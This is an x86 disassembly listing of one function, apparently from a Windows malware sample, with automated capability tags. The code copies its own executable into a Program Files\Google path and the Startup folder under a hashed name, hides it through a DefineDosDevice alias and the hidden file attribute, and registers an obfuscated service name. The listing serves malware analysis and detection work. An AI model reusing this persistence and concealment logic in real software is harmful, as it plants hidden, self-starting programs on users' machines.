Function at 0x40c708
Capabilities:
Check if file exists
Copy file
Create directory
Delete file
Get common file path
Get file attributes
Get startup folder
Move file
Query environment variable
Set file attributes
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7dc
push edi
push 0x28
push 0
lea eax, [ebp - 0x134]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x134], 2
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0
push 0x7f04
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [ebp - 0x120], eax
push 0x7f8b
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [ebp - 0x11c], eax
push 2
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x110], 0
lea ecx, [ebp - 0x134]
push ecx
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
lea edx, [ebp - 0x150]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
push 0x104
push 0
lea eax, [ebp - 0x254]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x254]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea edx, [ebp - 0x10c]
push edx
push str._ProgramFiles_Google_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x10c]
push eax
push str._ProgramFiles_Google_
mov ecx, dword [0x42aa54]
call fcn.004076e4
push str._ProgramFiles_Google_
mov ecx, dword [0x42aa54]
call fcn.0040755f
movsx ecx, byte [eax + 0x410897]
cmp ecx, 0x5c
jne 0x40c872
push str._ProgramFiles_Google_
mov ecx, dword [0x42aa54]
call fcn.0040755f
mov byte [eax + 0x410897], 0
mov byte [ebp - 8], 0x25
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x5c
mov byte [ebp - 5], 0x25
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], 0
push str._ProgramFiles_Google_
lea edx, [ebp - 8]
push edx
push 0x42ae5c
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
cmp dword [0x410894], 0
jne 0x40cbd9
mov byte [ebp - 0x358], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x357]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x358]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [0x410888], 1
jne 0x40ca56
push 0x42ae5c
lea ecx, [ebp - 0x358]
push ecx
mov ecx, dword [0x42aa54]
call fcn.004077b4
test eax, eax
jne 0x40c90c
mov word [0x42b1a8], 1
mov word [0x42b1a8], 1
push str.Win7
mov edx, dword [ebp + 0x10]
push edx
mov ecx, dword [0x42aa54]
call fcn.004070bb
test eax, eax
je 0x40c94a
mov eax, 1
test eax, eax
je 0x40c945
call fcn.0040ae64
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40c92d
jmp 0x40ca56
call fcn.0040cc03
test eax, eax
je 0x40c9aa
mov dword [ebp - 0x36c], str.Jbrjar_Kbskb
mov dword [ebp - 0x368], 0x40c24e
mov dword [ebp - 0x364], 0
mov dword [ebp - 0x360], 0
push str.StartServiceCtrlDispatcherA
push 0x410fc4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x35c], eax
lea ecx, [ebp - 0x36c]
push ecx
call dword [ebp - 0x35c]
jmp 0x40ca3e
mov byte [ebp - 0x374], 0x25
mov byte [ebp - 0x373], 0x73
mov byte [ebp - 0x372], 0x5c
mov byte [ebp - 0x371], 0x25
mov byte [ebp - 0x370], 0x73
mov byte [ebp - 0x36f], 0
mov byte [ebp - 0x478], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x477]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.333.jpg
push str._ProgramFiles_Google_
lea edx, [ebp - 0x374]
push edx
lea eax, [ebp - 0x478]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
push str.Jbrjar_Kbskb
call fcn.0040c401
add esp, 4
push str.Meumeumd_Vnevnevme_Wnfwnfv_Ogwogwof_Xpg
push str.Gwogwo_Hxpgxpgx_Qhyphyph_Aqiy
push str.Jbrjar_Kbskb
lea ecx, [ebp - 0x478]
push ecx
call fcn.0040cd1f
add esp, 0x10
call fcn.0040b59a
mov edx, 1
test edx, edx
je 0x40ca56
call fcn.0040ae64
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40ca3e
cmp dword [0x41088c], 1
jne 0x40cbad
mov word [0x42b1a8], 2
push str.Jbrjar_Kbskb
call fcn.0040c401
add esp, 4
push 0
push 7
lea eax, [ebp - 0x784]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
jne 0x40ca97
xor eax, eax
jmp 0x40cbfc
push str.6a378377a05e78b0df9f9c979ba18c1b
push str._s.exe
lea ecx, [ebp - 0x7d4]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [ebp - 0x7d4]
push edx
lea eax, [ebp - 0x784]
push eax
push str._s_s
lea ecx, [ebp - 0x57c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x57c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40cb95
push 0x410fe4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x7d8], eax
lea eax, [ebp - 0x7d4]
push eax
lea ecx, [ebp - 0x784]
push ecx
push str.___s_s
lea edx, [ebp - 0x680]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push str.DefineDosDeviceA
mov eax, dword [ebp - 0x7d8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x7dc], eax
lea ecx, [ebp - 0x680]
push ecx
push str.agmkis2
push 1
call dword [ebp - 0x7dc]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.._agmkis2
lea edx, [ebp - 0x254]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 4
push 0
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 2
lea ecx, [ebp - 0x784]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
lea edx, [ebp - 0x784]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, 1
test eax, eax
je 0x40cbad
call fcn.0040ae64
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40cb95
cmp dword [0x410890], 1
jne 0x40cbd7
mov word [0x42b1a8], 3
mov ecx, 1
test ecx, ecx
je 0x40cbd7
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040ae64
jmp 0x40cbbf
jmp 0x40cbfa
mov word [0x42b1a8], 0
mov edx, 1
test edx, edx
je 0x40cbfa
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040ae64
jmp 0x40cbe2
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret 0x10